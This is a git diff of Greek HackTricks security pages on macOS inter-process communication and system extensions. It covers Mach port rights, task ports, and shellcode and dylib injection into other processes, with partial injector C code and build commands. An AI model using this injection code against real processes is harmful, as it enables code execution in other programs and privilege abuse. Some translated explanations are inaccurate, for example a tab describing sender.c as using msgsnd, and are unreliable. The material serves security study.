* **Δικαίωμα Αποστολής-μία-φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
* **Δικαίωμα Συνόλου Θυρών**, το οποίο υποδηλώνει ένα _σύνολο θυρών_ αντί για μια μεμονωμένη θύρα. Η αποσύνθεση ενός μηνύματος από ένα σύνολο θυρών αποσύρει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με το `select`/`poll`/`epoll`/`kqueue` στο Unix.
* **Δικαίωμα Συνόλου Θυρών**, το οποίο υποδηλώνει ένα _σύνολο θυρών_ αντί για μια μεμονωμένη θύρα. Η αποσύνδεση ενός μηνύματος από ένα σύνολο θυρών αποσυνδέει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με τα `select`/`poll`/`epoll`/`kqueue` στο Unix.
* **Νεκρό όνομα**, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας αντικαταστάτης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.
**Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι μια εργασία μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη εργασία**. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως **διακομιστή εκκίνησης**, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.
**Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι μια εργασία μπορεί να αντιγράψει και να δώσει το δικαίωμα σε μια τρίτη εργασία**. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως **διακομιστής εκκίνησης**, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.
### Θύρες Αρχείων
@ -52,7 +53,8 @@
1. Η Εργασία **Α** ξεκινά μια **νέα θύρα**, αποκτώντας ένα **δικαίωμα ΛΗΨΗΣ** στη διαδικασία.
2. Η Εργασία **Α**, κατέχοντας το δικαίωμα ΛΗΨΗΣ, **δημιουργεί ένα δικαίωμα ΑΠΟΣΤΟΛΗΣ για τη θύρα**.
3. Η Εργασία **Α** καθιερώνει μια **σύνδεση** με τον **διακομιστή εκκίνησης**, παρέχοντας το **
3. Η Εργασία **Α** καθιερώνει μια **σύνδεση** με τον **διακομιστή εκκίνησης**, παρέχοντας το **όνομα υπηρεσίας της θύρας** και το **δικαίωμα ΑΠΟΣΤΟΛΗΣ** μέσω μιας διαδικασίας που είναι γνωστή ως εγγραφή εκκίνησης.
4. Η
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -65,7 +67,7 @@ mach_msg_id_t msgh_id;
```
Οι διεργασίες που διαθέτουν ένα _**δικαίωμα λήψης (receive right)**_ μπορούν να λαμβάνουν μηνύματα σε ένα θύρα Mach. Αντίστροφα, οι **αποστολείς** παραχωρούνται ένα _**δικαίωμα αποστολής (send)**_ ή ένα _**δικαίωμα αποστολής μία φορά (send-once right)**_. Το δικαίωμα αποστολής μία φορά είναι αποκλειστικά για την αποστολή ενός μοναδικού μηνύματος, μετά το οποίο γίνεται άκυρο.
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **θύρα mach** στην κεφαλίδα μηνύματος της mach που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Τα bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής μία φορά** πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **θύρα mach** στην κεφαλίδα μηνύματος mach που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Τα bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής μία φορά** πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
{% hint style="success" %}
Σημειώστε ότι αυτού του είδους η διπλής κατεύθυνσης επικοινωνία χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Ωστόσο, **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για τη δημιουργία της διπλής κατεύθυνσης επικοινωνίας.
@ -75,7 +77,7 @@ mach_msg_id_t msgh_id;
* `msgh_size`: το μέγεθος ολόκληρου του πακέτου.
* `msgh_remote_port`: η θύρα στην οποία αποστέλλεται αυτό το μήνυμα.
* `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach\_vouchers.html).
* `msgh_voucher_port`: [κουπόνια mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
* `msgh_id`: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον παραλήπτη.
{% hint style="danger" %}
@ -161,7 +163,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
```
{% endtab %}
{% tab title="sender.c" %}Ο πομπός (sender) είναι ο χρήστης που δημιουργεί ένα μήνυμα και το στέλνει στον παραλήπτη (receiver) μέσω της διαδικασίας επικοινωνίας μεταξύ διεργασιών (IPC) στο macOS. Ο πομπός χρησιμοποιεί τη συνάρτηση `msgsnd` για να στείλει το μήνυμα στην ουρά μηνυμάτων IPC. Αυτό το παράδειγμα δείχνει πώς ο πομπός μπορεί να στείλει ένα μήνυμα στον παραλήπτη.{% endtab %}
{% tab title="sender.c" %}Ο πομπός (sender) είναι ο χρήστης που δημιουργεί ένα μήνυμα και το στέλνει στον παραλήπτη (receiver) μέσω του μηχανισμού επικοινωνίας μεταξύ διεργασιών (IPC) στο macOS. Ο πομπός μπορεί να είναι μια εφαρμογή ή διεργασία που έχει τη δυνατότητα να στέλνει μηνϋματα σε άλλες διεργασίες.{% endtab %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@ -219,17 +221,17 @@ printf("Sent a message\n");
### Προνομιούχες Θύρες
* **Θύρα κεντρικού υπολογιστή**: Αν ένας διεργασία έχει δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα, μπορεί να λάβει **πληροφορίες** για το **σύστημα** (π.χ. `host_processor_info`).
* **Προνομιούχα θύρα κεντρικού υπολογιστή**: Μια διεργασία με δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα μπορεί να εκτελέσει **προνομιούχες ενέργειες** όπως τη φόρτωση επέκτασης πυρήνα. Η **διεργασία πρέπει να είναι ριζική** για να λάβει αυτήν την άδεια.
* **Προνομιούχα θύρα κεντρικού υπολογιστή**: Μια διεργασία με δικαίωμα **Αποστολής** πάνω από αυτήν τη θύρα μπορεί να εκτελέσει **προνομιούχες ενέργειες** όπως φόρτωση επέκτασης πυρήνα. Η **διεργασία πρέπει να είναι ριζική** για να λάβει αυτήν την άδεια.
* Επιπλέον, για να καλέσει το API **`kext_request`** απαιτούνται άλλα δικαιώματα **`com.apple.private.kext*`** τα οποία δίνονται μόνο σε δυαδικά αρχεία της Apple.
* **Θύρα ονόματος εργασίας:** Μια μη προνομιούχα έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχό της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
* **Θύρα εργασίας** (επίσης γνωστή ως θύρα πυρήνα)**:** Με δικαίωμα Αποστολής πάνω από αυτήν τη θύρα είναι δυνατόν να ελέγχεται η εργασία (ανάγνωση/εγγραφή μνήμης, δημιουργία νημάτων...).
* Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** για αυτήν τη θύρα για την εργασία του καλούντος. Αυτή η θύρα κληρονομείται μόνο κατά τη διάρκεια **`exec()`**· μια νέα εργασία που δημιουργείται με το `fork()` λαμβάνει μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία λαμβάνει επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό suid). Ο μόνος τρόπος να δημιουργηθεί μια εργασία και να ληφθεί η θύρα της είναι να εκτελεστεί ο ["χορός ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) κατά την εκτέλεση ενός `fork()`.
* Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από `macos_task_policy` από το δυαδικό `AppleMobileFileIntegrity`):
* Αν η εφαρμογή έχει το δικαίωμα **`com.apple.security.get-task-allow`**, διεργασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **επικύρωσης** δεν το επιτρέπει στις παραγωγικές εκδόσεις.
* Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** γι' αυτήν τη θύρα για την εργασία του καλούντος. Αυτή η θύρα κληρονομείται μόνο κατά το **`exec()`**· μια νέα εργασία που δημιουργείται με το `fork()` λαμβάνει μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία λαμβάνει επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό suid). Ο μόνος τρόπος να δημιουργηθεί μια εργασία και να ληφθεί η θύρα της είναι να εκτελεστεί ο ["χορός ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) κατά το `fork()`.
* Αυτοί είναι οι περιορισμοί για πρόσβαση στη θύρα (από `macos_task_policy` από το δυαδικό `AppleMobileFileIntegrity`):
* Αν η εφαρμογή έχει το δικαίωμα **`com.apple.security.get-task-allow`**, διεργασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **επικύρωσης** δεν το επιτρέπει σε παραγωγικές εκδόσεις.
* Οι εφαρμογές με το δικαίωμα **`com.apple.system-task-ports`** μπορούν να λάβουν τη **θύρα εργασίας για οποιαδήποτε** διεργασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
* **Ο ριζικός χρήστης μπορεί να έχει πρόσβαση στις θύρες εργασίας** εφαρμογών που **δεν** έχουν μεταγλωττιστεί με ένα **σκληρυνμένο** χρόνο εκτέλεσης (και όχι από την Apple).
* **Ο ριζικός χρήστης μπορεί να έχει πρόσβαση στις θύρες εργασίας** εφαρμογών που **δεν** έχουν μεταγλωττιστεί με ένα **σκληρυνμένο** χρόνο εκτέλεσης (και όχι από την Apple).
### Εισαγωγή Shellcode σε νήμα μέσω θύρας Εργασίας
### Εισαγωγή Shellcode σε νήμα μέσω Θύρας Εργασίας
Μπορείτε να αντλήσετε ένα shellcode από:
@ -267,7 +269,7 @@ return 0;
```
{% endtab %}
{% tab title="entitlements.plist" %}Το αρχείο entitlements.plist περιέχει τις ειδικές άδειες που απαιτούνται από μια εφαρμογή για να έχει πρόσβαση σε συγκεκριμένους πόρους ή λειτουργίες στο macOS. Αυτό το αρχείο πρέπει να συμπεριλαμβάνεται στο πακέτο εφαρμογής και να καθορίζει τις επιπρόσθετες δυνατότητες που η εφαρμογή έχει δικαίωμα να χρησιμοποιήσει. Οι entitlements μπορούν να περιορίσουν τις δυνατότητες μιας εφαρμογής ή να τις επεκτείνουν, ανάλογα με τις ανάγκες της.{% endtab %}
{% tab title="entitlements.plist" %}Το αρχείο entitlements.plist περιέχει τις ειδικές άδειες που απαιτούνται από μια εφαρμογή για να έχει πρόσβαση σε συγκεκριμένους πόρους στο macOS. Αυτό το αρχείο πρέπει να περιλαμβάνεται στο πακέτο εφαρμογής και να καθορίζει τις δικαιώματα που έχει η εφαρμογή, όπως πρόσβαση σε αρχεία, συσκευές, ή άλλες ρυθμίσεις του συστήματος. Η σωστή διαχείριση των entitlements είναι σημαντική για την ασφάλεια του συστήματος.{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
@ -483,25 +485,25 @@ return 0;
```
</details>
### Αρχειοθετημένος Πίνακας Περιεχομένων
### macOS IPC (Inter-Process Communication)
- [Επικοινωνία Μεταξύ Διεργασιών macOS (IPC)](/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
Inter-Process Communication (IPC) mechanisms are essential for processes to communicate with each other. macOS provides several IPC mechanisms, including Mach ports, XPC services, and UNIX domain sockets. Understanding how these mechanisms work is crucial for both developers and security researchers.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Εισαγωγή Dylib σε νήμα μέσω της θύρας Task
### Διείσδυση Dylib σε νήμα μέσω της θύρας Task
Στο macOS τα **νήματα** μπορούν να χειριστούν μέσω του **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήθηκε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμμορφωμένο με το posix**.
Στο macOS τα **νήματα** μπορούν να χειριστούν μέσω του **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήθηκε στην προηγούμενη διείσδυση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμμορφωμένο με το posix**.
Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργήσει με συμμορφωμένα με το posix** api, μόνο με το Mach. **Πιο πολύπλοκες εισαγωγές** θα χρειαζόντουσαν το **νήμα** να είναι επίσης **συμμορφωμένο με το posix**.
Ήταν δυνατό να **διεισδύσουμε ένα απλό shellcode** για να εκτελέσουμε μια εντολή επειδή **δεν χρειαζόταν να λειτουργήσει με συμμορφωμένα posix** apis, μόνο με το Mach. **Πιο πολύπλοκες διεισδύσεις** θα χρειαζόντουσαν το **νήμα** να είναι επίσης **συμμορφωμένο με το posix**.
Συνεπώς, για να **βελτιώσετε το νήμα** θα πρέπει να καλέσει το **`pthread_create_from_mach_thread`** το οποίο θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει το dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράψετε νέο shellcode για να εκτελέσει διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.
Συνεπώς, για να **βελτιώσετε το νήμα** θα πρέπει να καλέσει το **`pthread_create_from_mach_thread`** το οποίο θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει το dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράφετε νέο shellcode για να εκτελέσει διαφορετικές ενέργειες είναι δυνατό να φορτώσετε προσαρμοσμένες βιβλιοθήκες.
Μπορείτε να βρείτε **παραδειγματικά dylibs** σε (για παράδειγμα αυτό που δημιουργεί ένα αρχείο καταγραφής και μετά μπορείτε να το ακούσετε):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert_libraries.md)
{% endcontent-ref %}
<details>
@ -715,12 +717,12 @@ fprintf(stderr,"Αδυναμία ορισμού δικαιωμάτων μνήμ
return (-4);
}
// Ορισμός δικαιωμάτων στη μνήμη στον εκχωρημένο χώρο στοίβας
// Ορισμός δικαιωμάτων στην εκχωρημένη μνήμη στο stack
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Αδυναμία ορισμού δικαιωμάτων μνήμης για τη στοίβα του απομακρυσμένου νήματος: Σφάλμα %s\n", mach_error_string(kr));
fprintf(stderr,"Αδυναμία ορισμού δικαιωμάτων μνήμης για το stack του απομακρυσμένου νήματος: Σφάλμα %s\n", mach_error_string(kr));
return (-4);
}
@ -731,7 +733,7 @@ thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // αυτή είναι η πραγματική στοίβα
remoteStack64 += (STACK_SIZE / 2); // αυτό είναι το πραγματικό stack
//remoteStack64 -= 8; // απαιτείται ευθυγράμμιση των 16
const char* p = (const char*) remoteCode64;
@ -741,7 +743,7 @@ remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Απομακρυσμένη Στοίβα 64 0x%llx, Ο κώδικας είναι %p\n", remoteStack64, p );
printf ("Απομακρυσμένο Stack 64 0x%llx, Ο κώδικας είναι %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
@ -761,7 +763,7 @@ int main(int argc, const char * argv[])
if (argc < 3)
{
fprintf (stderr, "Χρήση: %s _pid_ νέργεια_\n", argv[0]);
fprintf (stderr, " νέργεια_: διαδρομή προς ένα dylib στον δίσκο\n");
fprintf (stderr, " νέργεια_: διαδρομή προς ένα dylib στο δίσκο\n");
exit(0);
}
@ -780,14 +782,16 @@ fprintf(stderr,"Το Dylib δεν βρέθηκε\n");
```
</details>
Το macOS χρησιμοποιεί την αρχιτεκτονική XNU (X is Not Unix), η οποία περιλαμβάνει τον πυρήνα Mach και τον πυρήνα BSD. Η επικοινωνία μεταξύ διεργασιών στο macOS γίνεται μέσω μηχανισμών IPC (Inter-Process Communication) όπως τα Unix domain sockets, τα Mach ports και τα XPC services.
### Αρχιτεκτονική macOS
Η επικοινωνία μεταξύ διεργασιών στο macOS γίνεται μέσω του IPC (Inter-Process Communication).
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Απαγωγή Νήματος μέσω Θύρας Task <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Σε αυτήν την τεχνική γίνεται απαγωγή ενός νήματος της διεργασίας:
Σε αυτήν την τεχνική απαγωγής νήματος της διαδικασίας γίνεται απαγωγή νήματος:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
@ -797,7 +801,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
### Βασικές Πληροφορίες
Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Διαδικασία Επικοινωνίας, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασύγχρονων κλήσεων μεθόδων με ασφάλεια μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του παραδείγματος ασφαλείας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμό προνομίων** όπου κάθε **συστατικό** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για την εκτέλεση της εργασίας του, περιορίζοντας έτσι την πιθανή ζημιά από μια διερρηγμένη διαδικασία.
Το XPC, που σημαίνει XNU (το πυρήνας που χρησιμοποιείται από το macOS) Διαδικασία Επικοινωνίας, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διεργασιών** στο macOS και στο iOS. Το XPC παρέχει ένα μηχανισμό για την πραγματοποίηση **ασύγχρονων κλήσεων μεθόδων με ασφάλεια μεταξύ διαφορετικών διεργασιών** στο σύστημα. Αποτελεί μέρος του παραδείγματος ασφαλείας της Apple, επιτρέποντας την **δημιουργία εφαρμογών με διαχωρισμό προνομίων** όπου κάθε **συστατικό** λειτουργεί με **μόνο τα δικαιώματα που χρειάζεται** για την εκτέλεση της εργασίας του, περιορίζοντας έτσι την πιθανή ζημιά από μια διεργασία που έχει διαρρεύσει.
Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς **μπορεί να είναι ευάλωτη** ελέγξτε:
@ -822,17 +826,3 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,66 +1,95 @@
# Επεκτάσεις συστήματος macOS
# Επεκτάσεις Συστήματος macOS
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Επεκτάσεις συστήματος / Πλαίσιο ασφαλείας τερματικού σημείου
## Επεκτάσεις Συστήματος / Πλαίσιο Ασφάλειας Τερματικού
Αντίθετα από τις επεκτάσεις πυρήνα, οι **επεκτάσεις συστήματος εκτελούνται στον χώρο χρήστη** αντί του χώρου πυρήνα, μειώνοντας τον κίνδυνο από ανατροπή του συστήματος λόγω δυσλειτουργίας της επέκτασης.
Σε αντίθεση με τις Πυρήνας Επεκτάσεις, **οι Επεκτάσεις Συστήματος λειτουργούν στον χώρο χρήστη** αντί για τον χώρο πυρήνα, μειώνοντας τον κίνδυνο από κατάρρευση του συστήματος λόγω δυσλειτουργίας της επέκτασης.
<figure><img src="../../../.gitbook/assets/image (1) (3) (1) (1).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
Υπάρχουν τρία είδη επεκτάσεων συστήματος: οι επεκτάσεις **DriverKit**, οι επεκτάσεις **Network** και οι επεκτάσεις **Endpoint Security**.
Υπάρχουν τρία είδη επεκτάσεων συστήματος: Επεκτάσεις **DriverKit**, Επεκτάσεις **Δικτύου** και Επεκτάσεις **Ασφάλειας Τερματικού**.
### **Επεκτάσεις DriverKit**
Το DriverKit είναι μια αντικατάσταση των επεκτάσεων πυρήνα που **παρέχουν υποστήριξη υλικού**. Επιτρέπει στους οδηγούς συσκευής (όπως οι οδηγοί USB, Serial, NIC και HID) να εκτελούνται στον χώρο χρήστη αντί του χώρου πυρήνα. Το πλαίσιο DriverKit περιλαμβάνει **εκδόσεις χώρου χρήστη ορισμένων κλάσεων I/O Kit**, και ο πυρήνας προωθεί τα κανονικά γεγονότα I/O Kit στον χώρο χρήστη, προσφέροντας ένα ασφαλές περιβάλλον για την εκτέλεση αυτών των οδηγών.
Το DriverKit είναι μια αντικατάσταση για τις πυρήνας επεκτάσεις που **παρέχουν υποστήριξη υλικού**. Επιτρέπει στους οδηγούς συσκευών (όπως USB, Serial, NIC και HID drivers) να λειτουργούν στον χώρο χρήστη αντί για τον χώρο πυρήνα. Το πλαίσιο DriverKit περιλαμβάνει **εκδόσεις χώρου χρήστη ορισμένων κλάσεων I/O Kit**, και ο πυρήνας προωθεί κανονικά τα συμβάντα I/O Kit στον χώρο χρήστη, προσφέροντας ένα πιο ασφαλές περιβάλλον για αυτούς τους οδηγούς να λειτουργούν.
### **Επεκτάσεις δικτύου**
### **Επεκτάσεις Δικτύου**
Οι επεκτάσεις δικτύου παρέχουν τη δυνατότητα προσαρμογής της συμπεριφοράς του δικτύου. Υπάρχουν αρκετοί τύποι επεκτάσεων δικτύου:
Οι Επεκτάσεις Δικτύου παρέχουν τη δυνατότητα προσαρμογής των συμπεριφορών του δικτύου. Υπάρχουν διάφοροι τύποι Επεκτάσεων Δικτύου:
* **App Proxy**: Χρησιμοποιείται για τη δημιουργία ενός πελάτη VPN που υλοποιεί ένα πρωτόκολλο VPN με ροή. Αυτό σημαίνει ότι χειρίζεται την κίνηση του δικτύου με βάση τις συνδέσεις (ή τις ροές) και όχι τα μεμονωμένα πακέτα.
